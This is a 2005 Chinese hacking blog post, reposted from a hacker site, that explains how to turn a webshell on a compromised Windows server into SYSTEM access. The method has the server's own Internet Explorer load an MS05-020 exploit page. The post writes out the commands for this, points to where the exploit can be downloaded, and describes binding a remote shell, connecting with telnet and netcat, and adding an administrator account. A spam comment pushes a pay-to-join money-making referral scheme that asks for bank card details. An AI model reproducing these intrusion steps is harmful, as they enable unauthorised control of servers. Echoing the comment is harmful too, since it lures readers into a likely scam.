2005/09/28 | 利用MS漏洞再谈提升权限(WEBSHELL)
类别(软件破解及黑客技术) | 评论(1) | 阅读(328) | 发表于 10:29
来源:www.hackbase.com
PS:好久都没有写文章了,今天闲着没事(其实不是没有事,是我比较郁闷,快考CET4了,但是心里都没有底),随便丢一个垃圾文章出来,希望能对大家有所帮助。


今天我要带给大家的是,当我们得到WEBSHELL后如何得到SYSTEM权限的新方法, 提升权限这个已经是老生常谈了,网络上已经有很多种提升权限的方法了,在这里我就不在提了,今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞,2005.4份的时候微软就发步了这个公告:
安全漏洞CN-VA05-025
发布日期:2005-04-13
漏洞类型:远程执行代码
漏洞评估:高危
受影响版本:
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)


Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件:
漏洞描述:
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件,并接受安装此恶意分级审查文件,则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过,要利用此漏洞,需要进行大量用户交互。

大家看到上面的漏洞描述了吗?当被人浏览的时候才会受到攻击,平时我们利用IE漏洞都是先把有攻击性的页面放到网上,然后等待别人去浏览,这样浏览者就会中招了。
今天我们要提升权限,那自然是让我们要提升权限的主机去浏览存在漏洞的页面了,那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢?
Ms05020的EXP网页代码已经出来了,大家可以到:
www.eviloctal.com/forum/read.php?tid=10127
去下载,假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方,
下面我们开始利用这个EXP,进入到我们的ASP木马,打开CMDSHELL,如果用不了的,大家自己想办法解决(可以自己上传一个CMD.EXE上去)。
在命令行里输入:start www.xxxx.com/ms05020.html 然后点执行。

这个时候主机的IE就会去访问我们的这个MS05020.HTML,那么如果主机没有打扑钉的话,就会绑定一个28876的断口在主机上。
接着我们输入:netstat -an | find "28876" 看看是否成功绑定,第一次的话,会慢一些,大家要等待一下,我这里很快就成功了。然后我们telnet上去马上就成功了

(我添加了一个temp的管理员)


现在我们已经拿到SYSTEM权限了 ,大家还想干什么不可以?


后记:其实大家还可以先上传NC,然后连接到本地后,再输入:
start www.xxx.com/ms05020.html也是可以的。
还有就是如果可以的话还可以这样输入:
start “C:\Program Files\Internet Explorer\icxplore.exe” www.xxx.com/ms05020.htm
这个要看你的情况了,一般虚拟主机如果允许访问的话,那还是用第一个命令好了!
我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过!不过也有不成功的时候,而且不成功的概率很大,特别是到虚拟机的时候,有一次我没有成功,然后我开了3389进入,发现IE没有弹出来,而是出来了一个IE设置向导,也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的,艾,其实我现在也没有搞清楚是怎么会事有点能成功有点不行,想也想不通,因为start ist:http://www.xxx.com/xxx.exe总是能成功!把XXX。EXE下载到它的电脑上面!我最后认为估计这个还是和MS05020.HTM这个文件有关。艾,看来这个方法的利用价值也很小了,本来不想发出来了的,既然写出来了,还是发表出来一下吧!刚刚和无敌讨论了一下,他也是说不成功的原因估计也是这个,还有就是系统打了IE补丁。


0

评论Comments(1条)

[tab123379642]
[tab123379642]
2005/9/28 19:18:03
沙发
大好消息,大好消息,免费拥有
自己的网站,绝对免费
你不认识我,但是你一定会感谢我
大家都知道,一个网站要上千元人民币,但是,现在有一个机会,你可以免费拥有一个自己的网站。免费期限到10月1日为止,请别错过了,不要白不要,如果错过了,你就永远错过了。免费加入的时间有限,请别错过。
注册地址:http://www.soho58.com/58/index.asp?id=422xiehe,
联系QQ:349981759(缘 分)
免费加入方法
第一步,打开地址,http://www.soho58.com/58/index.asp?id=422xiehe,你可以看到一个免费注册的公告,公告上说明了免费日期到10月1日为止。
第二步,点击左上角的“注册”,然后填写你的信息(你一定要记住你的用户名和密码,你其他的信息可以用假的,因为你以后可以登陆你的网站更改你的资料,下面有解释 。
第三步,填写好了之后,点“注册新用户”出现新的网页,提示你成为正式会员要交纳100元,你别急,有办法,不用交钱的,下面这一步告诉你。我说了免费就一定是免费的,你放心。
第四步,联系管理员的QQ-----348759183,告诉他你是新加入的,是422xiehe 介绍的,然后把你的用户名告诉他,请他帮你开通(当然是免费开通)。
第五步,开通后,你就可以拥有你自己的网站,如果你的用户名是huahua你网站的地址http://www.soho58.com/58/?id=huahua,打开你的网站,网站上会显示你的用户名和你的QQ,恭喜你,你有自己的网站了。
第六步,并且你可以在网站的左上角用你的用户名和密码登陆,登陆后你可以去修改里面的一切。现在,你有自己的网站就是成功了一半了。
第七步,登陆到你的网站,你看到左边的“站长资料”,你可以在这里修改你的资料,银行卡最好用工商银行的,名字和工商银行卡的用户名要一样,(或者你以后再更改也是一样的)
第八步,现在,你用一段时间介绍其他的新朋友在你的网站免费加入,免费的时间有限,别让你的好朋友白白错过了机会,你现在介绍他加入等于是帮他节省了100元,10月号以后注册就要交纳100元了。
注册地址:http://www.soho58.com/58/index.asp?id=422xiehe联系QQ:349981759(soho网赚)

您想上网赚钱吗??上网赚钱在国外已经不是新鲜事,也不要怕会骗你。想上网赚钱那您就要到我的网站http://www.soho58.com/58/index.asp?id=422xiehe注册,网站上面有详细的说明 不懂可以加我qq349981759,我会在线详细回答您的问题注册再左上角的“立即加入”的字样。现在注册激活不用钱,但是到10.1之后激活每个人要交100元。注册时要填的资料除用户名之外,其他资料都日后可以改,要填信用卡号,最好是工行的,方便您日后得到钱,如果没有信用卡,那先填“暂无",日后您可以修改您的资料。您注册后加qq348759183 说出你的用户名,说是422xiehe介绍您的进来,管理员就会帮您激活,不要怕麻烦,日后您的回报会有是非常好的,激活之后到http://www.soho58.com/58/index.asp?id=你的用户名,就是属于您的网页,之后您就叫您的朋友去您的网页注册,就能赚钱了,还有同一个IP不能够注册两次 否则就会两个帐号就会删除,这是非常重要的。我的网页是http://www.soho58.com/58/index.asp?id=422xiehe 想加入就快了,现在到10.1号激活是免费的,就是等于不用交100元了 快去参加网赚吧!!!快去通知您的朋友吧!!
有不明白的请加qq349981759 我会详细回答您的问题
<< 1

发表留言post

用 户Name:
密 码Password:
内 容Comment:
http://www.5d.cn/images/size_down.gif http://www.5d.cn/images/size_up.gif
验 证Verify: